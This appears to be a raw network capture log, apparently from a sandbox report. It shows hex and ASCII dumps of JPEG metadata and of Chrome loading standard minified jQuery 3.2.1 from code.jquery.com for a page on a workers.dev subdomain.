2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 74 73 2f 31 2e 31 2f 27 3e 0a 20 20 3c 64 63 3a 66 6f 72 6d 61 74 3e 69 6d 61 67 65 2f 6a 70 65 67 3c 2f 64 63 3a 66 6f 72 6d 61 74 3e 0a 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 0a 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 27 27 0a 20 20 78 6d 6c 6e 73 3a 70 68 6f 74 6f 73 68 6f 70 3d 27 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 70 68 6f 74 6f 73 68 6f 70 2f 31 2e 30 2f 27 3e 0a 20 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3e 33 3c 2f 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3e 0a 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 0a 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 27 27 0a 20 20 Data Ascii: ts/1.1/'> <dc:format>image/jpeg</dc:format> </rdf:Description> <rdf:Description rdf:about='' xmlns:photoshop='http://ns.adobe.com/photoshop/1.0/'> <photoshop:ColorMode>3</photoshop:ColorMode> </rdf:Description> <rdf:Description rdf:about=''
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 27 77 27 3f 3e ff ed 14 46 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 1d 1c 01 5a 00 03 1b 25 47 1c 01 14 00 02 00 1d 1c 01 00 00 02 00 04 1c 02 00 00 02 61 00 00 38 42 49 4d 04 25 00 00 00 00 00 10 27 ae 21 5a 87 25 b4 49 ec d8 c3 f4 d1 bb 6b ac 38 42 49 4d 04 3a 00 00 00 00 00 e5 00 00 00 10 00 00 00 01 00 00 00 00 00 0b 70 72 69 6e 74 4f 75 74 70 75 74 00 00 00 05 00 00 00 00 50 73 74 53 62 6f 6f 6c 01 00 00 00 00 49 6e 74 65 65 6e 75 6d 00 00 00 00 49 6e 74 65 00 00 00 00 43 6c 72 6d 00 00 00 0f 70 72 69 6e 74 53 69 78 74 65 65 6e 42 69 74 62 6f 6f 6c 00 00 00 00 0b 70 72 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 Data Ascii: <?xpacket end='w'?>FPhotoshop 3.08BIMZ%Ga8BIM%'!Z%Ik8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXT
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 88 04 6c d3 fa ce ff 00 c9 22 d5 4d 74 b4 b6 b1 00 99 22 49 d4 ff 00 59 64 36 f0 c6 c4 d7 b6 00 68 37 d9 33 fb bf 45 3c b9 b3 5c 06 90 d0 e8 37 59 c7 d2 f6 bb 6a 49 af 2f b5 da 49 62 32 f6 80 1a 0d 6e 70 10 1e eb ac 26 4f d2 1f 41 45 cf 63 81 0d 7b 74 e2 72 2d d7 bf bb da 85 a4 44 97 75 25 80 2d 67 d1 6b 9a 01 1b b5 c8 b6 48 e7 74 ed 4e 1e d1 b5 92 dd a5 c7 5f b4 d8 35 ff 00 35 2b 57 01 77 92 58 0e c8 ae 1c 4b 9a 1c 5c 01 6f da 2c d3 fe 8a 77 d9 5b 61 af b1 ad 0c d6 4e 45 a7 9d 7f 77 dc 95 ab 80 bb c9 2c 36 ba a3 61 3e ac 88 1e df 5a d9 9e 4f 6f a2 ac 74 fc 8c 4a ec 73 3d 50 5d 69 f6 00 f7 be 47 f6 c7 b1 14 70 f9 fd 8e a2 49 24 92 10 3f f9 f6 aa ec 76 3e eb 89 75 bf ce 7b 89 9e 63 f3 36 fe 62 b1 67 f3 ed 4c d3 79 2f db 63 09 0e 31 de 07 ee ba 3f 39 2d 55 Data Ascii: l"Mt"IYd6h73E<\7YjI/Ib2np&OAEc{tr-Du%-gkHtN_55+WwXK\o,w[aNEw,6a>ZOotJs=P]iGpI$?v>u{c6bgLy/c1?9-U
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: fa c8 07 92 d9 eb 52 8a 05 82 e0 00 00 0e 4c 72 57 29 83 4a 96 39 f2 f5 75 2b 44 2b 68 b0 90 d9 52 5b 86 b6 e6 48 6b 32 e0 95 9d 97 5b 68 c6 6c b5 1b 91 17 4e 7c 62 db d5 04 90 d9 29 b9 24 b9 ad 63 09 3d 17 73 b4 6e 00 00 03 07 3c aa 74 0a e7 1c ec 9a 12 11 c4 b5 6c 00 79 2d 7a d4 0a 05 82 e0 00 00 23 94 72 4c 91 15 6c b6 25 9c a4 2a ec 4f 14 ec dc d6 b6 95 64 a2 32 b4 ac 92 58 c9 ea 89 99 15 5d 7b 89 14 47 53 1a 4b 50 d2 c9 56 f4 99 b6 a9 ac 93 db 83 78 ee 55 90 00 00 18 39 e5 53 a0 4c 00 00 00 01 e4 67 ae 02 81 60 b8 00 00 03 84 71 88 92 ca f3 12 d2 c8 09 08 cb 51 0a 56 b6 dc 40 92 2e 85 2b 2c af 44 e6 25 8a af 2d e4 a8 a3 6b 33 2e 4d e4 a7 59 26 97 ac 71 08 ec b7 11 db 39 01 62 a0 92 91 f4 47 d1 ae 40 00 03 07 3c aa 5f 25 00 00 00 00 f2 43 d7 41 40 b0 Data Ascii: RLrW)J9u+D+hR[Hk2[hlN\|b)$c=sn<tly-z#rLl%*Od2X]{GSKPVxU9SLg`qQV@.+,D%-k3.MY&q9bG@<_%CA@
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: f0 66 5a 02 66 58 67 7f 6c 5d 42 c2 cd 9b 62 97 cd b3 a7 4e 65 86 5f 95 68 35 67 5b 1f 32 c1 1f 32 cd 93 31 f8 9c f7 de ac eb 1a 59 94 e4 26 a1 68 96 6a 16 ed 5e 75 a2 2e 5b 9a fb cb 14 b6 a3 60 1e e5 63 b7 75 63 56 99 76 ac ef ed 32 cb ec e9 ae a3 68 96 6a 36 ca f5 1b a6 1d ed 60 1f 0b fa 57 e2 eb 85 42 9c b5 b0 f2 13 90 9c c4 ea 08 1c 1f b7 eb a3 b6 0f a5 be 68 f8 0c cc bd 10 ae 55 12 cc 9a 08 aa da 54 8c 8a 18 8b a9 de db 28 95 d9 42 41 9d 48 0f a8 57 ba e7 55 3b 8a 5c 1c 8a 20 b6 85 8f 99 40 9d ed 20 2e 55 04 0b a8 e4 72 28 8f 93 4c 4e 8f 17 ba 8d fa f8 e2 35 f4 4e bd 04 2d f4 47 ba 95 65 c8 a2 1c 9a 22 b5 04 64 5d 4a 4a af a0 86 cb a5 42 e4 50 d2 c7 a3 88 6c 75 8b 93 4e dd ce 3c 5b f1 cc 39 34 ce b6 3c ea 50 47 5f 1c 4a 73 2a 25 4e ff 00 0b fa 57 e3 Data Ascii: fZfXgl]BbNe_h5g[221Y&hj^u.[`cucVv2hj6`WBhUT(BAHWU;\ @ .Ur(LN5N-Ge"d]JJBPluN<[94<PG_Js*%NW
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 9a b2 9f ec a4 b2 31 89 0b 5b 94 41 26 cb 48 fa 92 92 50 bb 29 85 a8 7a ec 65 0c a6 80 6f 89 c3 11 ef 65 f1 74 2d 25 b5 02 4a c6 a8 34 d5 e4 3a 3b 04 bb 47 e4 68 0a e8 26 5d 08 dd 51 a6 03 b5 ae 27 49 1d 84 21 aa 44 66 4c 99 32 64 c9 92 31 f6 21 74 22 3c a1 a5 14 59 65 11 91 9d f4 43 84 4b 94 25 ac 2a 0d c1 16 11 dc 42 f5 43 4c ff 00 07 f8 28 4c 88 a3 42 4b bb 11 68 8d 92 a8 46 46 2f 74 74 d1 3c 68 d4 8d 06 d5 84 ea a1 93 26 4c 99 1d 42 18 40 90 a2 8a 28 a1 e1 35 0e 00 f9 41 21 8d 12 35 f0 b1 7c 48 d5 8b 8f fb ab 81 9a 0b 17 1a 21 08 42 cb 2c a2 c4 68 fe 6e 24 c8 35 04 90 d3 fe ee e1 f0 33 dc 77 af 1b 30 81 b0 34 f2 7f 20 e2 09 70 34 ff 00 bb bb 83 57 1e 49 f9 e1 45 14 51 43 ac fe 41 bb 20 e9 e4 6c 69 ff 00 77 77 06 ae 3d e8 db 04 2e cf d0 fd 8f dc d2 bf Data Ascii: 1[A&HP)zeoet-%J4:;Gh&]Q'I!DfL2d1!t"<YeCK%*BCL(LBKhFF/tt<h&LB@(5A!5\|H!B,hn$53w04 p4WIEQCA liww=.
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: b6 8a 45 a6 2d f2 29 bc 92 49 24 90 02 f0 92 01 30 00 49 24 92 04 89 c0 8f 90 cb 15 6e 7f d5 89 f4 a1 40 32 53 24 12 49 24 90 24 b4 12 00 3d 00 49 24 92 0d c6 a9 6b ce 17 df 20 87 d2 61 65 29 59 c1 64 07 12 49 24 90 28 e8 82 01 24 00 49 24 92 07 9c de f5 7b 68 84 b6 ac 33 69 d6 bf 6d d2 4c 11 92 49 24 90 00 a4 92 00 04 00 09 24 92 02 e2 fc fe d4 65 d1 68 d6 eb 26 95 1c 6b 99 41 81 92 49 24 92 06 8c 12 00 04 00 49 24 92 04 b3 13 dc 14 b3 d3 5c 81 51 02 1d e4 ca ba 41 98 92 49 24 92 42 e4 93 00 04 00 49 24 92 00 ba 71 a7 80 00 00 00 00 01 00 00 00 00 00 00 04 92 49 24 90 01 f4 80 00 00 00 49 24 92 49 10 d6 0c 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 00 64 02 00 00 00 49 24 92 0d 48 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 05 20 90 Data Ascii: E-)I$0I$n@2S$I$$=I$k ae)YdI$($I${h3imLI$$eh&kAI$I$\QAI$BI$qI$I$I$I$I$I$I$I$dI$HI$I$I$I$I$I$
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 70 0b 4b 5c c4 14 d9 1d ab 1d cb 3f f7 4c 09 7e 60 3c 6e 52 03 ee 7f f6 25 02 30 9c 5b ee 2e b2 07 31 5a 19 ee 04 47 30 a1 83 e6 27 6f da 50 71 77 1b 02 5e e5 29 0f 71 04 0f dc 3a 9c 73 11 42 67 79 56 08 4a 25 ae e5 70 3f 32 b0 37 dc 32 4f 3e ce b7 a2 63 fc e0 7a 2f 50 65 47 98 44 d2 af 11 cd 54 99 91 4b a3 5e e1 a7 f2 c4 a8 b7 a3 a4 d2 f6 56 69 11 3e 84 11 cd c6 bc b1 71 65 f8 b8 0a f5 f3 1e 2d c7 98 3d 4a bc b0 96 28 56 b1 d5 c8 f3 17 c9 fd c0 3a af cd c7 3b d9 de 12 32 09 49 cb ee 50 bb 84 78 e6 f6 c5 4d 44 e6 36 ad 4e e5 c6 ce f2 f4 69 e6 60 94 be 66 2d 3a ee 3f 65 f9 95 25 0e e3 fb 6b b8 13 4a bb 97 4b 2e f1 c3 6e 17 02 4a 3e 66 b0 69 de 69 50 73 2b ca 03 79 50 57 cc 12 b8 f7 11 2c d7 30 a0 67 cc d4 6a 73 10 1a cd e2 9a b7 cc 4e aa 9b c7 80 8b 6f 2f Data Ascii: pK\?L~`<nR%0[.1ZG0'oPqw^)q:sBgyVJ%p?272O>cz/PeGDTK^Vi>qe-=J(V:;2IPxMD6Ni`f-:?e%kJK.nJ>fiiPs+yPW,0gjsNo/
2024-04-17 23:28:35 UTC	411	IN	Data Raw: e5 9b c4 54 2c d2 53 79 75 2e b3 cb b8 99 f0 42 92 b1 04 83 0e b0 c3 30 68 c4 85 b8 ca e4 b8 1b 7c be 22 11 5a 7b 7a de 89 f4 24 5a 92 19 00 bb ca 8a c2 bc b3 26 50 ee 53 0a 76 85 47 0e e5 5c ef b9 5b 50 ee 32 3a 30 e2 16 80 9a aa 7e 87 a3 a4 d2 f6 57 49 6f 82 2a 0c f9 9a 47 e3 71 1a 2f b9 47 65 dc b5 9f cc 74 95 07 e0 12 d2 9c 38 f0 30 e0 2a 25 dd f2 44 62 21 00 4f b1 0d d5 b3 cc 22 30 58 62 dc 33 32 08 41 48 e9 2c 5c b1 ba 04 2d 8a 36 b9 98 55 2c 26 05 b6 a2 a6 10 97 15 48 82 02 1f b5 0b 28 7c c5 83 a1 cc 14 d6 8b 76 53 04 76 8e c5 59 30 6a 65 a8 b1 2b 52 2b 88 5d 46 0f 46 86 22 1a 87 b7 ad e8 9f 53 4d a3 2e 08 3d 45 2d 4b 86 95 b5 01 84 e1 22 a8 2b 3b 29 b7 a7 e9 7a 3a 4d 2f 65 74 66 a5 74 96 78 1d 46 87 ae 00 af aa 09 57 69 a4 b7 28 66 02 39 40 1e 25 Data Ascii: T,Syu.B0h\|"Z{z$Z&PSvG\[P2:0~WIoGq/Get80%Db!O"0Xb32AH,\-6U,&H(\|vSvY0je+R+]FF"SM.=E-K"+;)z:M/etftxFWi(f9@%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49746	151.101.130.137	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:34 UTC	641	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://groun-93ed.ehajdranrsuw.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:35 UTC	565	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 17 Apr 2024 23:28:35 GMT Age: 866647 X-Served-By: cache-lga21963-LGA, cache-pdk-kfty2130055-PDK X-Cache: HIT, HIT X-Cache-Hits: 6, 1 X-Timer: S1713396515.066951,VS0,VE2 Vary: Accept-Encoding
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-04-17 23:28:35 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 